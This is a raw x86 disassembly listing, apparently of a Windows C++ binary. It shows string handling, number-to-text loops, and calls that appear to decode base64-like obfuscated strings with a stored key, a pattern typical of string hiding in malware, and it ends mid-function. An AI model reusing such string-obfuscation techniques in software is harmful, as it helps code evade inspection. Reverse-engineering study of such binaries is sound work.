mov dword [ebp - 0x32c], 0
or edi, 0x200
movups xmm0, xmmword [eax]
mov dword [ebp - 0x2b0], edi
movups xmmword [ebp - 0x340], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x330], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd8
lea edx, [ebp - 0x340]
cmp dword [ebp - 0x32c], 0x10
push ecx
cmovae edx, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x2c8]
call fcn.00406400
mov byte [ebp - 4], 0xd7
add esp, 4
mov ecx, dword [ebp - 0x32c]
cmp ecx, 0x10
jb 0x40be24
mov edx, dword [ebp - 0x340]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40be1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xd6
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0xf
mov byte [ebp - 0x340], 0
cmp ecx, 0x10
jb 0x40be7d
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40be73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xce
mov ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2e4], 0xf
mov byte [ebp - 0x2f8], 0
cmp ecx, 0x10
jb 0x40bed6
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40becc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0x37]
mov dword [ebp - 0x3c8], 0
mov ecx, eax
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
test eax, eax
jns 0x40bf3e
neg ecx
mov dword [ebp - 0x2a8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40bf08
dec esi
mov byte [esi], 0x2d
jmp 0x40bf74
mov dword [ebp - 0x2a8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40bf44
push ecx
lea eax, [ebp - 0x37]
push eax
push esi
lea ecx, [ebp - 0x408]
call fcn.0040ef30
or edi, 0x180
mov dword [ebp - 0x2b0], edi
mov byte [ebp - 4], 0xd9
mov eax, accept
mov ecx, dword [ebp - 0x224]
sub eax, ecx
cmp eax, 4
jb 0x40dec3
cmp dword [ebp - 0x220], 0x10
lea eax, [ebp - 0x234]
push 4
cmovae eax, dword [ebp - 0x234]
push str.key
push ecx
push eax
push ecx
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x3f0]
call fcn.0040ee30
or edi, 0x40
mov dword [ebp - 0x2b0], edi
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 0xda
push eax
lea eax, [ebp - 0x3f0]
push eax
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x3c0]
call fcn.0040ec50
or edi, 0x20
mov dword [ebp - 0x2b0], edi
mov esi, dword [ebp - 0x2c8]
lea edx, [ebp - 0x3c0]
mov byte [ebp - 4], 0xdb
mov ecx, esi
cmp dword [ebp - 0x3ac], 0x10
cmovae edx, dword [ebp - 0x3c0]
call fcn.00406ed0
mov byte [ebp - 4], 0xda
mov ecx, dword [ebp - 0x3ac]
cmp ecx, 0x10
jb 0x40c072
mov edx, dword [ebp - 0x3c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c068
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xd9
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
cmp ecx, 0x10
jb 0x40c0cb
mov edx, dword [ebp - 0x3f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c0c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xce
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x3dc], 0xf
mov byte [ebp - 0x3f0], 0
cmp ecx, 0x10
jb 0x40c124
mov edx, dword [ebp - 0x408]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c11a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov ecx, esi
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x3f4], 0xf
mov byte [ebp - 0x408], 0
call fcn.004069e0
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0xdf]
mov ecx, eax
test eax, eax
jns 0x40c196
neg ecx
mov dword [ebp - 0x2a8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40c160
dec esi
mov byte [esi], 0x2d
jmp 0x40c1d0
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40c1a0
push ecx
lea eax, [ebp - 0xdf]
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.0040ef30
or edi, 0x18000
mov dword [ebp - 0x2b0], edi
mov byte [ebp - 4], 0xdc
mov eax, accept
mov ecx, dword [ebp - 0x224]
sub eax, ecx
cmp eax, 4
jb 0x40dec8
cmp dword [ebp - 0x220], 0x10
lea eax, [ebp - 0x234]
push 4
cmovae eax, dword [ebp - 0x234]
push str.key
push ecx
push eax
push ecx
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x420]
call fcn.0040ee30
or edi, 0x800000
mov dword [ebp - 0x2b0], edi
sub esp, 0x18
mov byte [ebp - 4], 0xdd
mov ecx, esp
lea eax, [ebp - 0x438]
mov dword [ebp - 0x2ac], ecx
push eax
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x2ac]
call fcn.0040ec50
or edi, 0x400000
mov dword [ebp - 0x2b0], edi
call fcn.0040f1a0
mov byte [ebp - 4], 0xdc
mov ecx, dword [ebp - 0x40c]
cmp ecx, 0x10
jb 0x40c2bc
mov edx, dword [ebp - 0x420]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c2b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xce
mov ecx, dword [ebp - 0x424]
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0xf
mov byte [ebp - 0x420], 0
cmp ecx, 0x10
jb 0x40c315
mov edx, dword [ebp - 0x438]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c30b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0xc7]
sub esp, 0x18
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov edi, esp
mov byte [ebp - 0x438], 0
mov ecx, eax
test eax, eax
jns 0x40c386
neg ecx
mov dword [ebp - 0x2a8], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40c350
dec esi
mov byte [esi], 0x2d
jmp 0x40c3c0
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40c390
push ecx
lea eax, [ebp - 0xc7]
push eax
push esi
lea ecx, [ebp - 0x450]
call fcn.0040ef30
mov esi, dword [ebp - 0x2b0]
or esi, 0x300000
mov dword [ebp - 0x2b0], esi
sub esp, 0x18
mov byte [ebp - 4], 0xde
mov ecx, esp
xorps xmm0, xmm0
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bX5cVw8FVzYSYUVX
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x528]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xdf
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push dword [ebp - 0x224]
cmovae eax, dword [ebp - 0x234]
push eax
push ecx
call fcn.0040e030
mov dword [ebp - 0x350], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x360], xmm0
mov dword [ebp - 0x34c], 0
or esi, 0x80000
movups xmm0, xmmword [eax]
mov dword [ebp - 0x2b0], esi
movups xmmword [ebp - 0x360], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x350], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x450]
mov byte [ebp - 4], 0xe0
push eax
lea eax, [ebp - 0x360]
mov ecx, edi
push eax
push dword [ebp - 0x2ac]
call fcn.0040ec50
mov edi, esi
or edi, 0x40000
mov dword [ebp - 0x2b0], edi
call fcn.0040f1a0
mov byte [ebp - 4], 0xdf
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0x10
jb 0x40c504
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xde
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
cmp ecx, 0x10
jb 0x40c55d
mov edx, dword [ebp - 0x528]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c553
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xce
mov ecx, dword [ebp - 0x43c]
mov dword [ebp - 0x518], 0
mov dword [ebp - 0x514], 0xf
mov byte [ebp - 0x528], 0
cmp ecx, 0x10
jb 0x40c5b6
mov edx, dword [ebp - 0x450]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c5ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x440], 0
mov esi, esp
mov dword [ebp - 0x43c], 0xf
sub esp, 0x18
mov byte [ebp - 0x450], 0
mov ecx, esp
xorps xmm0, xmm0
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bX5cUwcHVyEHdFA
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x558]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xe1
lea eax, [ebp - 0x254]
push dword [ebp - 0x244]
or edi, 8
cmp dword [ebp - 0x240], 0x10
mov dword [ebp - 0x2b0], edi
cmovae eax, dword [ebp - 0x254]
push eax
push ecx
call fcn.0040e030
xorps xmm0, xmm0
or edi, 0x20000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x2b0], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040f340
test eax, eax
je 0x40c73f
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x18
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bXxWQBkGBQ46Q15dWF0LGg
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x540]
push eax
call fcn.00417d90
mov ecx, eax
mov dword [ebp - 4], 0xe2
lea eax, [ebp - 0x254]
push dword [ebp - 0x244]
or edi, 0x10
cmp dword [ebp - 0x240], 0x10
mov dword [ebp - 0x2b0], edi
cmovae eax, dword [ebp - 0x254]
push eax
push ecx
call fcn.0040e030
xorps xmm0, xmm0
or edi, 0x4000000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x2b0], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040f340
mov byte [ebp - 0x2c1], 1
test eax, eax
jne 0x40c746
mov byte [ebp - 0x2c1], 0
mov dword [ebp - 4], 0xe1
mov eax, dword [ebp - 0x2b0]
test al, 0x10
je 0x40c7bb
mov ecx, dword [ebp - 0x52c]
and eax, 0xffffffef
mov dword [ebp - 0x2b0], eax
cmp ecx, 0x10
jb 0x40c7a0
mov edx, dword [ebp - 0x540]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c790
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
mov eax, dword [ebp - 0x2b0]
add esp, 8
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 0xf
mov byte [ebp - 0x540], 0
mov dword [ebp - 4], 0xce
test al, 8
je 0x40c824
mov ecx, dword [ebp - 0x544]
and eax, 0xfffffff7
mov dword [ebp - 0x2b0], eax
cmp ecx, 0x10
jb 0x40c809
mov edx, dword [ebp - 0x558]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c7ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ded2
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x544], 0xf
mov byte [ebp - 0x558], 0
cmp byte [ebp - 0x2c1], 0
je 0x40dc79
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0x1f]
sub esp, 0x18
mov byte [ebp - 4], 0xe3
mov dword [ebp - 0x2ac], esp
mov edi, esp
mov ecx, eax
test eax, eax
jns 0x40c88d
neg ecx
mov dword [ebp - 0x2a8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40c857
dec esi
mov byte [esi], 0x2d
jmp 0x40c8c3
mov dword [ebp - 0x2a8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40c893
push ecx
lea eax, [ebp - 0x1f]
push eax
push esi
lea ecx, [ebp - 0x468]
call fcn.0040ef30
mov esi, dword [ebp - 0x2b0]
or esi, 0x18000000
mov dword [ebp - 0x2b0], esi
sub esp, 0x18
mov byte [ebp - 4], 0xe4
mov ecx, esp
xorps xmm0, xmm0
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bX5cUwcHVyEHdFA
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x5e8]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xe5
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push dword [ebp - 0x224]
cmovae eax, dword [ebp - 0x234]
push eax
push ecx
call fcn.0040e030
mov dword [ebp - 0x368], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x378], xmm0
mov dword [ebp - 0x364], 0
or esi, 0x20000000
movups xmm0, xmmword [eax]
mov dword [ebp - 0x2b0], esi
movups xmmword [ebp - 0x378], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x368], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x468]
mov byte [ebp - 4], 0xe6
push eax
lea eax, [ebp - 0x378]
mov ecx, edi
push eax
push dword [ebp - 0x2ac]
call fcn.0040ec50
or esi, 0x40000000
mov dword [ebp - 0x2b0], esi
sub esp, 0x18
mov byte [ebp - 4], 0xe7
mov esi, esp
xorps xmm0, xmm0
sub esp, 0x18
mov ecx, esp
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bX5cUwcHVyEHdFA
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x570]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xe8
lea eax, [ebp - 0x254]
cmp dword [ebp - 0x240], 0x10
push dword [ebp - 0x244]
cmovae eax, dword [ebp - 0x254]
push eax
push ecx
call fcn.0040e030
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov esi, dword [ebp - 0x2b0]
mov dword [eax + 0x10], 0
or esi, 0x80000000
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x2b0], esi
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0xe9
call fcn.004101b0
mov byte [ebp - 4], 0xe6
mov ecx, dword [ebp - 0x55c]
cmp ecx, 0x10
jb 0x40cab4
mov edx, dword [ebp - 0x570]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40caaa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xe5
mov ecx, dword [ebp - 0x364]
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 0xf
mov byte [ebp - 0x570], 0
cmp ecx, 0x10
jb 0x40cb0d
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40cb03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xe4
mov ecx, dword [ebp - 0x5d4]
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
cmp ecx, 0x10
jb 0x40cb66
mov edx, dword [ebp - 0x5e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40cb5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xe3
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x5d8], 0
mov dword [ebp - 0x5d4], 0xf
mov byte [ebp - 0x5e8], 0
cmp ecx, 0x10
jb 0x40cbbf
mov edx, dword [ebp - 0x468]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40cbb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0xaf]
sub esp, 0x18
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov edi, esp
mov byte [ebp - 0x468], 0
mov ecx, eax
mov dword [ebp - 0x2ac], esp
test eax, eax
jns 0x40cc36
neg ecx
mov dword [ebp - 0x2a8], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40cc00
dec esi
mov byte [esi], 0x2d
jmp 0x40cc70
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40cc40
push ecx
lea eax, [ebp - 0xaf]
push eax
push esi
lea ecx, [ebp - 0x480]
call fcn.0040ef30
or dword [ebp - 0x2c0], 3
sub esp, 0x18
mov byte [ebp - 4], 0xea
mov ecx, esp
xorps xmm0, xmm0
push 0xc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bWVWVk4tFhEH
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x5a0]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xeb
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push dword [ebp - 0x224]
cmovae eax, dword [ebp - 0x234]
push eax
push ecx
call fcn.0040e030
or dword [ebp - 0x2c0], 4
xorps xmm0, xmm0
movups xmmword [ebp - 0x390], xmm0
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x390], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x380], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x480]
mov byte [ebp - 4], 0xec
push eax
lea eax, [ebp - 0x390]
mov ecx, edi
push eax
push dword [ebp - 0x2ac]
call fcn.0040ec50
or dword [ebp - 0x2c0], 8
sub esp, 0x18
mov byte [ebp - 4], 0xed
mov esi, esp
xorps xmm0, xmm0
sub esp, 0x18
mov ecx, esp
push 0xc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bWVWVk4tFhEH
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x588]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xee
lea eax, [ebp - 0x254]
cmp dword [ebp - 0x240], 0x10
push dword [ebp - 0x244]
cmovae eax, dword [ebp - 0x254]
push eax
push ecx
call fcn.0040e030
xorps xmm0, xmm0
movups xmmword [esi], xmm0
or dword [ebp - 0x2c0], 0x10
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0xef
call fcn.004101b0
mov byte [ebp - 4], 0xec
mov ecx, dword [ebp - 0x574]
cmp ecx, 0x10
jb 0x40ce44
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ce3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xeb
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
cmp ecx, 0x10
jb 0x40ce9d
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ce93
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xea
mov ecx, dword [ebp - 0x58c]
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0xf
mov byte [ebp - 0x390], 0
cmp ecx, 0x10
jb 0x40cef6
mov edx, dword [ebp - 0x5a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ceec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xe3
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x58c], 0xf
mov byte [ebp - 0x5a0], 0
cmp ecx, 0x10
jb 0x40cf4f
mov edx, dword [ebp - 0x480]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40cf45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40decd
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0x97]
sub esp, 0x18
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0xf
mov edi, esp
mov byte [ebp - 0x480], 0
mov ecx, eax
mov dword [ebp - 0x2ac], esp
test eax, eax
jns 0x40cfc6
neg ecx
mov dword [ebp - 0x2a8], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40cf90
dec esi
mov byte [esi], 0x2d
jmp 0x40d000
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40cfd0
push ecx
lea eax, [ebp - 0x97]
push eax
push esi
lea ecx, [ebp - 0x498]
call fcn.0040ef30
or dword [ebp - 0x2c0], 0x60
sub esp, 0x18
mov byte [ebp - 4], 0xf0
mov ecx, esp
xorps xmm0, xmm0
push 0xc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bXFcWwUAEhY
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x5d0]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xf1
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push dword [ebp - 0x224]
cmovae eax, dword [ebp - 0x234]
push eax
push ecx
call fcn.0040e030
or dword [ebp - 0x2c0], 0x80
xorps xmm0, xmm0
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3a8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x398], xmm0
mov dword [eax + 0x10], 0
